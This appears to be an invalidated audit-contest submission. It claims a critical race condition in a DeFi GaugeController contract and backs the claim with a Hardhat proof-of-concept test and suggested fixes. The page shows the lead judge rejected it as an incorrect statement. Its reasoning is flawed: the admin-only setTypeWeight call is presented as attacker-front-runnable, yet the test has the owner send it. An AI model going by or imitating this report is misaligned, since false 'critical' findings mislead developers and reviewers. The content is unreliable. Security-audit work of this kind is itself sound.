Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Critical Race Condition in Gauge Weight Updates Allows Weight Manipulation

Summary

A critical race condition exists in GaugeController.sol gauge weight update mechanism that allows malicious actors to manipulate gauge weights. The vulnerability arises from lack of proper synchronization between gauge type weight updates and period updates.

Vulnerability Details

The GaugeController contract has two key functions that can race with each other:

function updatePeriod(address gauge) external override whenNotPaused {
Gauge storage g = gauges[gauge];
if (!g.isActive) revert GaugeNotActive();
TimeWeightedAverage.Period storage period = gaugePeriods[gauge];
uint256 duration = g.gaugeType == GaugeType.RWA ? 30 days : 7 days;
// @audit: Race condition vulnerable point 1
if (period.startTime == 0) {
TimeWeightedAverage.createPeriod(
period,
block.timestamp + 1,
duration,
0,
g.weight // Weight can be manipulated
);
return;
}
// @audit: Race condition vulnerable point 2
uint256 average = period.calculateAverage(block.timestamp);
TimeWeightedAverage.createPeriod(
period,
block.timestamp + 1,
duration,
average,
g.weight // Weight can be manipulated
);
}
function setTypeWeight(GaugeType gaugeType, uint256 weight) external onlyRole(GAUGE_ADMIN) {
if (weight > MAX_TYPE_WEIGHT) revert InvalidWeight();
// @audit: No synchronization lock
uint256 oldWeight = typeWeights[gaugeType];
typeWeights[gaugeType] = weight;
emit TypeWeightUpdated(gaugeType, oldWeight, weight);
}

The vulnerability exists because:

  1. No atomic lock between type weight updates and period initialization

  2. Race condition possible between average calculation and new weight application

  3. Lack of synchronization mechanism between type weight changes and period updates

PoC Scenario

This proof of concept demonstrates how an attacker can exploit a race condition in the GaugeController contract to manipulate gauge weights and unfairly increase rewards.

Steps to Execute the Attack:

  1. The attacker first calls updatePeriod(), which sets the gauge weight based on the current state.

  2. Before the period update is finalized, the attacker front-runs a setTypeWeight() transaction, changing the gauge type’s weight.

  3. The attacker then back-runs another updatePeriod() transaction, locking in the manipulated weight for the new period.

  4. As a result, the final gauge weight is artificially increased, leading to higher rewards for the attacker at the expense of other participants.

Expected Outcome:

  • The manipulated gauge weight results in inflated rewards for the attacker’s chosen gauge.

  • The protocol distributes more tokens to the attacker's gauge than intended.

  • Other participants receive less than their fair share of the rewards.

By exploiting this vulnerability, an attacker can continuously increase their share of protocol rewards, leading to economic imbalance within the system.

describe("GaugeController Weight Manipulation", function() {
let gaugeController, rwaGauge, raacGauge, veToken;
let owner, attacker, user;
// Values for testing
const WEEK = 7 * 24 * 3600;
const INITIAL_WEIGHT = ethers.utils.parseEther("1000");
const BOOST = ethers.utils.parseEther("2.5"); // 2.5x boost
beforeEach(async function() {
[owner, attacker, user] = await ethers.getSigners();
// Deploy mock veToken
const VeToken = await ethers.getContractFactory("MockVeToken");
veToken = await VeToken.deploy();
// Deploy gauge controller with veToken
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(veToken.address);
// Deploy gauges
const RWAGauge = await ethers.getContractFactory("RWAGauge");
rwaGauge = await RWAGauge.deploy(gaugeController.address);
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(gaugeController.address);
// Setup initial state
await gaugeController.addGauge(rwaGauge.address, 0, INITIAL_WEIGHT);
await gaugeController.addGauge(raacGauge.address, 1, INITIAL_WEIGHT);
// Give attacker some veToken for voting power
await veToken.mint(attacker.address, INITIAL_WEIGHT);
});
it("Should manipulate gauge weights through race condition", async function() {
console.log("\n--- Starting Weight Manipulation Attack ---");
// 1. Record initial weights
const initialWeight = await gaugeController.getGaugeWeight(rwaGauge.address);
console.log("Initial RWA gauge weight:", initialWeight.toString());
// 2. Attacker prepares transactions for the attack
const provider = ethers.provider;
const blockNumber = await provider.getBlockNumber();
const block = await provider.getBlock(blockNumber);
const timestamp = block.timestamp;
// 3. Create concurrent transactions
const tx1 = {
to: gaugeController.address,
data: gaugeController.interface.encodeFunctionData("updatePeriod", [rwaGauge.address]),
gasLimit: 500000
};
const tx2 = {
to: gaugeController.address,
data: gaugeController.interface.encodeFunctionData("setTypeWeight", [0, INITIAL_WEIGHT.mul(2)]),
gasLimit: 500000
};
const tx3 = {
to: gaugeController.address,
data: gaugeController.interface.encodeFunctionData("updatePeriod", [rwaGauge.address]),
gasLimit: 500000
};
// 4. Execute attack sequence
console.log("Executing attack sequence...");
// Front-run with first period update
const frontRun = await attacker.sendTransaction(tx1);
await frontRun.wait();
// Sandwich with type weight change
const weightChange = await owner.sendTransaction(tx2);
await weightChange.wait();
// Back-run with second period update
const backRun = await attacker.sendTransaction(tx3);
await backRun.wait();
// 5. Verify manipulation
const finalWeight = await gaugeController.getGaugeWeight(rwaGauge.address);
console.log("Final RWA gauge weight:", finalWeight.toString());
// Weight should be manipulated higher
expect(finalWeight).to.be.gt(initialWeight);
// Calculate actual vs expected rewards
const actualRewards = await gaugeController.getCurrentGaugeRewards(rwaGauge.address);
const expectedRewards = initialWeight.mul(WEEK).div(BOOST);
console.log("Actual rewards:", actualRewards.toString());
console.log("Expected rewards:", expectedRewards.toString());
// Verify rewards are manipulated
expect(actualRewards).to.be.gt(expectedRewards);
console.log("Attack successful - Weights and rewards manipulated!");
});
// Helper function to advance time
async function advanceTime(seconds) {
await ethers.provider.send("evm_increaseTime", [seconds]);
await ethers.provider.send("evm_mine");
}
});

Tools Used

Manual Code Review: To identify logic flaws and race conditions in smart contracts.

Hardhat & Ethers.js: Used for writing and executing the Proof of Concept (PoC).

Impact

The vulnerability allows attackers to:

  1. Manipulate gauge weights leading to unfair reward distribution

  2. Extract excess rewards through weight manipulation

  3. Disrupt the intended voting power mechanics

  4. Potentially drain protocol rewards over time

Recommendations

  1. Implement mutex locking:

mapping(address => uint256) private _updateLocks;
uint256 private constant LOCK_DURATION = 1; // blocks
modifier withUpdateLock(address gauge) {
require(block.number >= _updateLocks[gauge] + LOCK_DURATION, "Update locked");
_updateLocks[gauge] = block.number;
_;
}
  1. Add synchronization for weight updates:

function setTypeWeight(GaugeType gaugeType, uint256 weight) external onlyRole(GAUGE_ADMIN) {
if (weight > MAX_TYPE_WEIGHT) revert InvalidWeight();
_syncTypeWeights(gaugeType, weight);
}
function _syncTypeWeights(GaugeType gaugeType, uint256 newWeight) internal {
typeWeights[gaugeType] = newWeight;
// Update all affected gauges atomically
for (uint i = 0; i < _gaugeList.length; i++) {
if (gauges[_gaugeList[i]].gaugeType == gaugeType) {
_updatePeriodAtomic(_gaugeList[i]);
}
}
}
  1. Add period update batching:

function batchUpdatePeriods(address[] calldata gauges) external {
for (uint i = 0; i < gauges.length; i++) {
_updatePeriodAtomic(gauges[i]);
}
}

Risk Classification

  • Impact: Critical - Direct economic damage through reward manipulation

  • Likelihood: Medium - Requires precise transaction timing but is automatable

  • Overall: Critical

Updates

Lead Judging Commences

inallhonesty Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
inallhonesty Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.